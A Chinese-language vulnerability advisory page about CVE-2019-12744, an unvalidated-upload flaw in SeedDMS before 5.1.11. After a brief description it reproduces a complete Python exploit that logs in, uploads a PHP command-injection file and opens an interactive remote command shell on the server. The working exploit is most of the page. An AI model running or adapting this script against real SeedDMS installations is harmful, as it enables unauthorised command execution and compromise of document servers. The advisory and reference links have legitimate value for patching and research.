华域联盟 漏洞资讯 SeedDMS 命令注入漏洞

SeedDMS 命令注入漏洞

SeedDMS 命令注入漏洞

漏洞ID 1637469 漏洞类型 代码问题
发布时间 2021-06-25 更新时间 2021-06-28
CVE编号 CVE-2019-12744 CNNVD-ID CNNVD-201906-839
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2021060142


http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201906-839

|漏洞详情
SeedDMS(前称LetoDMS和MyDMS)是一套基于PHP和MySql的开源文档管理系统。该系统主要用于存储和共享文档。 SeedDMS 5.1.11之前版本中存在代码问题漏洞,该漏洞源于程序没有验证文件的上传。远程攻击者可利用该漏洞执行代码。
|漏洞EXP
# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) 
# Date: 25/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.seeddms.org/index.php?id=2
# Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/
# Version: Seeddms 5.1.10
# Tested on: Windows 7 x64
# CVE: CVE-2019-12744
import requests
import argparse
import sys
import random
import string
from bs4 import BeautifulSoup
from requests_toolbelt import MultipartEncoder
def sysArgument():
ap = argparse.ArgumentParser()
ap.add_argument("-u", "--username", required=True, help="login username")
ap.add_argument("-p", "--password", required=True, help="login password")
ap.add_argument("--url", required=True, help="target URL Path")
args = vars(ap.parse_args())
return args['username'], args['password'], args['url'] 
def login(sessionObj, username, password, url):
loginPath = "/op/op.Login.php"    
url += loginPath
postData = {
'login': username,
'pwd': password,
'lang' : 'en_GB'
}
try:
rsl = sessionObj.post(url, data=postData)
if(rsl.status_code == 200):
if "Error signing in. User ID or password incorrect." in rsl.text:
print("[!] Incorrect Credential.")
else:
print("[*] Login Successful.") 
print("[*] Session Token: " + sessionObj.cookies.get_dict()['mydms_session'])
return sessionObj                
else:
print("[!] Something went wrong.")    
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj
def formTokenCapturing(sessionObj, url):
path = "/out/out.AddDocument.php?folderid=1&showtree=1"
url += path
formToken = ""
try:        
rsl = sessionObj.get(url)
if(rsl.status_code == 200):
print("[*] Captured Form Token.")
#extracting form token
soup = BeautifulSoup(rsl.text,'html.parser')
form1 = soup.findAll("form", {"id": "form1"})
soup = BeautifulSoup(str(form1[0]),'html.parser')
formToken = soup.find("input", {"name": "formtoken"})            
print("[*] Form Token: " + formToken.attrs['value'])
return sessionObj, formToken.attrs['value']
else:
print("[!] Something went wrong.")    
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj, formToken
def uploadingPHP(sessionObj, url, formToken):
path = "/op/op.AddDocument.php"
url += path
#generating random name
letters = string.ascii_lowercase
rand_name = ''.join(random.choice(letters) for i in range(20))
#POST Data
payload = {
'formtoken' : formToken,
'folderid' : '1',
'showtree' : '1',
'name' : rand_name,
'comment' : '',
'keywords' : '',
'sequence' : '2',
'presetexpdate' : 'never',
'expdate' : '',
'ownerid' : '1',
'reqversion' : '1',
'userfile[]' : (
'%s.php' % (rand_name),           
open('phpCmdInjection.php', 'rb'), 
'application/x-httpd-php'
),
'version_comment' : ''
}
multiPartEncodedData = MultipartEncoder(payload)
try:                
rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type})
if(rsl.status_code == 200):
print("[*] Command Injection PHP Code Uploaded.")
print("[*] Name in Document Content Shows: " + rand_name)
return sessionObj, rand_name
else:
print("[!] Something went wrong.")    
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj, rand_name
def getDocID(sessionObj, url, docName):
path = "/out/out.ViewFolder.php?folderid=1"
url += path
try:        
rsl = sessionObj.get(url)
if(rsl.status_code == 200):
#searching & extracting document id storing payload
soup = BeautifulSoup(rsl.text,'html.parser')
viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"})
soup = BeautifulSoup(str(viewFolderTables[0]),'html.parser')
rowsDoc = soup.findAll("tr", {"class": "table-row-document"})            
for i in range(len(rowsDoc)):
soup = BeautifulSoup(str(rowsDoc[i]),'html.parser')
tdExtracted = soup.findAll("td") 
foundDocName = tdExtracted[1].contents[0].contents[0]
#when document name matched uploaded document name
if(foundDocName == docName):
print("[*] Found Payload Document Name. Extracting Document ID...")
tmp = tdExtracted[1].contents[0].attrs['href'].split('?')
docID = tmp[1].replace("&showtree=1", "").replace('documentid=', '')
print("[*] Document ID: " + docID)
return sessionObj, docID
#after loops & still unable to find matched uploaded Document Name
print("[!] Unable to find document ID.")
sys.exit(0)
else:
print("[!] Something went wrong.")    
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj
def shell(sessionObj, url, docID):
#remove the directory /seeddms-5.1.x
splitUrl = url.split('/')
remLastDir = splitUrl[:-1]
url = ""
#recontruct url
for text in remLastDir:
url += text + "/"
#path storing uploaded php code
path = "/data/1048576/%s/1.php" % docID
url += path
#checking does the uploaded php exists?
rsl = sessionObj.get(url)
if(rsl.status_code == 200):
print("[*] PHP Script Exist!")
print("[*] Injecting some shell command.")
#1st test injecting whoami command
data = {
'cmd' : 'whoami'
}
rsl = sessionObj.post(url, data=data)
if(rsl.text != ""):
print("[*] There's response from the PHP script!")
print('[*] System Current User: ' + rsl.text.replace("<pre>", "").replace("</pre>", ""))
print("[*] Spawning Shell. type .exit to exit the shell", end="\n\n")
#start shell iteration
while(True):
cmd = input("[Seeddms Shell]$ ")
if(cmd == ".exit"):
print("[*] Exiting shell.")
sys.exit(0)
data = {
'cmd' : cmd
}
rsl = sessionObj.post(url, data=data)
print(rsl.text.replace("<pre>", "").replace("</pre>", ""))
else:
print("[!] No response from PHP script. Something went wrong.")
sys.exit(0)
else:
print("[!] PHP Script Not Found!!")
print(rsl.status_code)
sys.exit(0)
def main():    
username, password, url = sysArgument()
sessionObj = requests.Session()    
#getting session token from logging in    
sessionObj = login(sessionObj, username, password, url)
#capturing form token for adding document
sessionObj, formToken = formTokenCapturing(sessionObj, url)
#uploading php code for system command injection
sessionObj, docName = uploadingPHP(sessionObj, url, formToken)
#getting document id
sessionObj, docID = getDocID(sessionObj, url, docName)
#spawning shell to exec system Command
shell(sessionObj, url, docID)
if __name__ == "__main__":
main()

|参考资料

来源:sourceforge.net

链接:https://sourceforge.net/p/seeddms/code/ci/master/tree/CHANGELOG

来源:secfolks.blogspot.com

链接:https://secfolks.blogspot.com/2019/06/exploit-for-cve-2019-12744-remote.html

来源:nvd.nist.gov

链接:https://nvd.nist.gov/vuln/detail/CVE-2019-12744

本文由 华域联盟 原创撰写:华域联盟 » SeedDMS 命令注入漏洞

转载请保留出处和原文链接:https://www.cnhackhy.com/96337.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部